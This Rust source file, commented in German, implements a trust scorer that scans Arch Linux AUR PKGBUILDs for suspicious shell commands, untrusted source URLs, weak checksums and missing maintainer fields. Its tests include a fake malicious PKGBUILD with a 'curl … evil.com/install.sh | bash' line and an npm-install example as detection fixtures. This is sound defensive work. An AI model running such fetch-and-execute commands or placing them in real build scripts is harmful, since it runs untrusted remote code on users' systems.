domains.insert("github.com".to_string());
|
|
||||||
domains.insert("gitlab.com".to_string());
|
|
||||||
domains.insert("salsa.debian.org".to_string());
|
|
||||||
domains.insert("codeberg.org".to_string());
|
|
||||||
domains.insert("sourceforge.net".to_string());
|
|
||||||
domains.insert("kernel.org".to_string());
|
|
||||||
domains.insert("gnu.org".to_string());
|
|
||||||
domains.insert("apache.org".to_string());
|
|
||||||
domains.insert("mozilla.org".to_string());
|
|
||||||
domains.insert("npmjs.com".to_string()); // Achtung: npmjs ist auch missbraucht worden
|
|
||||||
domains.insert("crates.io".to_string());
|
|
||||||
domains.insert("pypi.org".to_string());
|
|
||||||
domains.insert("archlinux.org".to_string());
|
|
||||||
domains
|
|
||||||
}
|
|
||||||
|
|
||||||
/// Analysiert einen PKGBUILD-Inhalt
|
|
||||||
pub fn analyze_pkgbuild(&self, content: &str, source_url: Option<&str>) -> TrustScore {
|
|
||||||
let mut score = 100u32;
|
|
||||||
let mut categories = Vec::new();
|
|
||||||
let mut warnings = Vec::new();
|
|
||||||
let mut critical_findings = Vec::new();
|
|
||||||
|
|
||||||
// 1. Shell-Script Analyse (PKGBUILD ist ein Shell-Script)
|
|
||||||
let (shell_score, shell_warnings, shell_critical) = self.analyze_shell_script(content);
|
|
||||||
categories.push(ScoreCategory {
|
|
||||||
name: "Shell-Script Sicherheit".to_string(),
|
|
||||||
score: shell_score,
|
|
||||||
weight: 0.40,
|
|
||||||
description: "Analyse von PKGBUILD als Shell-Script".to_string(),
|
|
||||||
});
|
|
||||||
warnings.extend(shell_warnings);
|
|
||||||
critical_findings.extend(shell_critical);
|
|
||||||
score = score.saturating_sub(100 - shell_score);
|
|
||||||
|
|
||||||
// 2. Source-URL Verifizierung
|
|
||||||
let (url_score, url_warnings) = self.analyze_source_url(source_url);
|
|
||||||
categories.push(ScoreCategory {
|
|
||||||
name: "Source-URL Vertrauen".to_string(),
|
|
||||||
score: url_score,
|
|
||||||
weight: 0.20,
|
|
||||||
description: "Prüfung der Herkunft des Source-Codes".to_string(),
|
|
||||||
});
|
|
||||||
warnings.extend(url_warnings);
|
|
||||||
score = score.saturating_sub((100 - url_score) / 3);
|
|
||||||
|
|
||||||
// 3. Checksum-Qualität
|
|
||||||
let (checksum_score, checksum_warnings) = self.analyze_checksums(content);
|
|
||||||
categories.push(ScoreCategory {
|
|
||||||
name: "Checksum Verifizierung".to_string(),
|
|
||||||
score: checksum_score,
|
|
||||||
weight: 0.20,
|
|
||||||
description: "Qualität und Vollständigkeit der Prüfsummen".to_string(),
|
|
||||||
});
|
|
||||||
warnings.extend(checksum_warnings);
|
|
||||||
score = score.saturating_sub((100 - checksum_score) / 3);
|
|
||||||
|
|
||||||
// 4. Maintainer-Heuristiken
|
|
||||||
let (maint_score, maint_warnings) = self.analyze_maintainer_info(content);
|
|
||||||
categories.push(ScoreCategory {
|
|
||||||
name: "Maintainer-Vertrauen".to_string(),
|
|
||||||
score: maint_score,
|
|
||||||
weight: 0.20,
|
|
||||||
description: "Heuristiken zum Maintainer-Account".to_string(),
|
|
||||||
});
|
|
||||||
warnings.extend(maint_warnings);
|
|
||||||
score = score.saturating_sub((100 - maint_score) / 3);
|
|
||||||
|
|
||||||
// Gewichteten Score berechnen
|
|
||||||
let weighted_score: f32 = categories.iter()
|
|
||||||
.map(|c| c.score as f32 * c.weight)
|
|
||||||
.sum();
|
|
||||||
|
|
||||||
TrustScore {
|
|
||||||
overall: weighted_score.round() as u32,
|
|
||||||
categories,
|
|
||||||
warnings,
|
|
||||||
critical_findings,
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
fn analyze_shell_script(&self, content: &str) -> (u32, Vec<String>, Vec<CriticalFinding>) {
|
|
||||||
let mut score = 100u32;
|
|
||||||
let mut warnings = Vec::new();
|
|
||||||
let mut critical = Vec::new();
|
|
||||||
|
|
||||||
for pattern in &self.suspicious_patterns {
|
|
||||||
if pattern.pattern.is_match(content) {
|
|
||||||
let captures: Vec<_> = pattern.pattern.find_iter(content).collect();
|
|
||||||
|
|
||||||
for cap in captures {
|
|
||||||
let ctx_start = cap.start().saturating_sub(30);
|
|
||||||
let ctx_end = (cap.end() + 30).min(content.len());
|
|
||||||
let context = &content[ctx_start..ctx_end];
|
|
||||||
let context_clean = context.replace('\n', "\\n");
|
|
||||||
|
|
||||||
if pattern.critical {
|
|
||||||
critical.push(CriticalFinding::RemoteCodeExecution(format!(
|
|
||||||
"{} (Kontext: ...{}...)",
|
|
||||||
pattern.description,
|
|
||||||
context_clean
|
|
||||||
)));
|
|
||||||
score = score.saturating_sub(pattern.penalty);
|
|
||||||
} else {
|
|
||||||
warnings.push(format!(
|
|
||||||
"{}: {}",
|
|
||||||
pattern.description,
|
|
||||||
context_clean
|
|
||||||
));
|
|
||||||
score = score.saturating_sub(pattern.penalty / 2);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// Blocklisted Commands
|
|
||||||
for cmd_regex in &self.blocklisted_commands {
|
|
||||||
if let Some(mat) = cmd_regex.find(content) {
|
|
||||||
warnings.push(format!(
|
|
||||||
"Potentiell gefährlicher Befehl erkannt: {}",
|
|
||||||
&content[mat.start().saturating_sub(10)..(mat.end() + 10).min(content.len())]
|
|
||||||
));
|
|
||||||
score = score.saturating_sub(10);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// Prozentuale Bewertung
|
|
||||||
(score.min(100), warnings, critical)
|
|
||||||
}
|
|
||||||
|
|
||||||
fn analyze_source_url(&self, url: Option<&str>) -> (u32, Vec<String>) {
|
|
||||||
let mut score = 100u32;
|
|
||||||
let mut warnings = Vec::new();
|
|
||||||
|
|
||||||
let url = match url {
|
|
||||||
Some(u) => u,
|
|
||||||
None => {
|
|
||||||
warnings.push("Keine Source-URL gefunden".to_string());
|
|
||||||
return (50, warnings);
|
|
||||||
}
|
|
||||||
};
|
|
||||||
|
|
||||||
// HTTPS check
|
|
||||||
if !url.starts_with("https://") {
|
|
||||||
warnings.push("Source-URL verwendet kein HTTPS".to_string());
|
|
||||||
score -= 20;
|
|
||||||
}
|
|
||||||
|
|
||||||
// Domain check
|
|
||||||
let domain = url.split('/').nth(2).unwrap_or("");
|
|
||||||
let domain_clean = domain.strip_prefix("www.").unwrap_or(domain);
|
|
||||||
|
|
||||||
if !self.trusted_domains.contains(domain_clean) {
|
|
||||||
warnings.push(format!(
|
|
||||||
"Domain '{}' ist nicht in der Trust-Liste",
|
|
||||||
domain_clean
|
|
||||||
));
|
|
||||||
score -= 15;
|
|
||||||
}
|
|
||||||
|
|
||||||
// URL Shortener / Pastebin checks
|
|
||||||
if url.contains("pastebin") || url.contains("tinyurl") || url.contains("bit.ly")
|
|
||||||
|| url.contains("t.co") || url.contains("short.link") {
|
|
||||||
warnings.push("URL-Shortener / Pastebin als Source erkannt!".to_string());
|
|
||||||
score -= 50;
|
|
||||||
}
|
|
||||||
|
|
||||||
(score.max(0), warnings)
|
|
||||||
}
|
|
||||||
|
|
||||||
fn analyze_checksums(&self, content: &str) -> (u32, Vec<String>) {
|
|
||||||
let mut score = 100u32;
|
|
||||||
let mut warnings = Vec::new();
|
|
||||||
|
|
||||||
// Prüfe auf SHA256/SHA512 (gut)
|
|
||||||
let has_sha256 = content.contains("sha256sums") || content.contains("sha256");
|
|
||||||
let has_sha512 = content.contains("sha512sums") || content.contains("sha512");
|
|
||||||
let has_md5 = content.contains("md5sums") || content.contains("md5");
|
|
||||||
let has_skip = content.contains("SKIP") || content.contains("skip");
|
|
||||||
|
|
||||||
if has_sha256 || has_sha512 {
|
|
||||||
score += 10;
|
|
||||||
}
|
|
||||||
|
|
||||||
if has_md5 && !has_sha256 && !has_sha512 {
|
|
||||||
warnings.push("Nur MD5-Checksummen (veraltet und unsicher)".to_string());
|
|
||||||
score -= 30;
|
|
||||||
}
|
|
||||||
|
|
||||||
if has_skip {
|
|
||||||
warnings.push("Checksummen werden übersprungen (SKIP)".to_string());
|
|
||||||
score -= 40;
|
|
||||||
}
|
|
||||||
|
|
||||||
if !has_sha256 && !has_sha512 && !has_md5 && !has_skip {
|
|
||||||
warnings.push("Keine Checksummen definiert".to_string());
|
|
||||||
score -= 50;
|
|
||||||
}
|
|
||||||
|
|
||||||
(score.max(0).min(100), warnings)
|
|
||||||
}
|
|
||||||
|
|
||||||
fn analyze_maintainer_info(&self, content: &str) -> (u32, Vec<String>) {
|
|
||||||
// Baseline: Wir können aus dem PKGBUILD nicht viel über den Maintainer lernen
|
|
||||||
// In einer erweiterten Version würde dies die AUR-RPC API nutzen
|
|
||||||
let mut score = 80u32; // Neutral
|
|
||||||
let mut warnings = Vec::new();
|
|
||||||
|
|
||||||
// Prüfe auf "Contributor" vs "Maintainer"
|
|
||||||
if !content.contains("# Maintainer:") {
|
|
||||||
if content.contains("# Contributor:") {
|
|
||||||
warnings.push("Nur Contributor, kein Maintainer definiert".to_string());
|
|
||||||
score -= 10;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
(score.max(0).min(100), warnings)
|
|
||||||
}
|
|
||||||
|
|
||||||
/// Prüft ein installiertes Paket (Fallback wenn kein PKGBUILD verfügbar)
|
|
||||||
pub fn check_installed_package(&self, pkg_info: &str) -> TrustScore {
|
|
||||||
// Minimale Analyse basierend auf pacman -Qi Ausgabe
|
|
||||||
let mut warnings = Vec::new();
|
|
||||||
|
|
||||||
if pkg_info.contains("AUR") || pkg_info.contains("foreign") {
|
|
||||||
warnings.push("Paket stammt aus AUR (nicht offizielles Repository)".to_string());
|
|
||||||
}
|
|
||||||
|
|
||||||
TrustScore {
|
|
||||||
overall: 70, // Grundwert für installierte Pakete ohne PKGBUILD
|
|
||||||
categories: vec![],
|
|
||||||
warnings,
|
|
||||||
critical_findings: vec![],
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
#[cfg(test)]
|
|
||||||
mod tests {
|
|
||||||
use super::*;
|
|
||||||
|
|
||||||
#[test]
|
|
||||||
fn test_npm_install_detection() {
|
|
||||||
let scorer = TrustScorer::new().unwrap();
|
|
||||||
let malicious_pkgbuild = r#"
|
|
||||||
pkgname=test-malicious
|
|
||||||
pkgver=1.0
|
|
||||||
pkgrel=1
|
|
||||||
|
|
||||||
build() {
|
|
||||||
npm install atomic-lockfile
|
|
||||||
}
|
|
||||||
"#;
|
|
||||||
|
|
||||||
let result = scorer.analyze_pkgbuild(malicious_pkgbuild, None);
|
|
||||||
assert!(!result.critical_findings.is_empty());
|
|
||||||
assert!(result.overall < 50);
|
|
||||||
}
|
|
||||||
|
|
||||||
#[test]
|
|
||||||
fn test_curl_pipe_bash_detection() {
|
|
||||||
let scorer = TrustScorer::new().unwrap();
|
|
||||||
let bad_pkgbuild = r#"
|
|
||||||
pkgname=test-bad
|
|
||||||
pkgver=1.0
|
|
||||||
|
|
||||||
prepare() {
|
|
||||||
curl -s https://evil.com/install.sh | bash
|
|
||||||
}
|
|
||||||
"#;
|
|
||||||
|
|
||||||
let result = scorer.analyze_pkgbuild(bad_pkgbuild, None);
|
|
||||||
assert!(!result.critical_findings.is_empty());
|
|
||||||
}
|
|
||||||
|
|
||||||
#[test]
|
|
||||||
fn test_legitimate_pkgbuild() {
|
|
||||||
let scorer = TrustScorer::new().unwrap();
|
|
||||||
let good_pkgbuild = r#"
|
|
||||||
pkgname=hello
|
|
||||||
pkgver=2.12
|
|
||||||
pkgrel=1
|
|
||||||
source=(https://ftp.gnu.org/gnu/$pkgname/$pkgname-$pkgver.tar.gz)
|
|
||||||
sha256sums=('cf04e2b7e0d28e6f5e540d130ad5295c079ffdad43e25c489e5e52eb40a2a517')
|
|
||||||
|
|
||||||
build() {
|
|
||||||
cd "$pkgname-$pkgver"
|
|
||||||
./configure --prefix=/usr
|
|
||||||
make
|
|
||||||
}
|
|
||||||
"#;
|
|
||||||
|
|
||||||
let result = scorer.analyze_pkgbuild(good_pkgbuild, Some("https://ftp.gnu.org/gnu/hello/hello-2.12.tar.gz"));
|
|
||||||
assert!(result.overall > 70);
|
|
||||||
assert!(result.critical_findings.is_empty());
|
|
||||||
}
|
|
||||||
}
|
|
||||||
Reference in New Issue
Block a user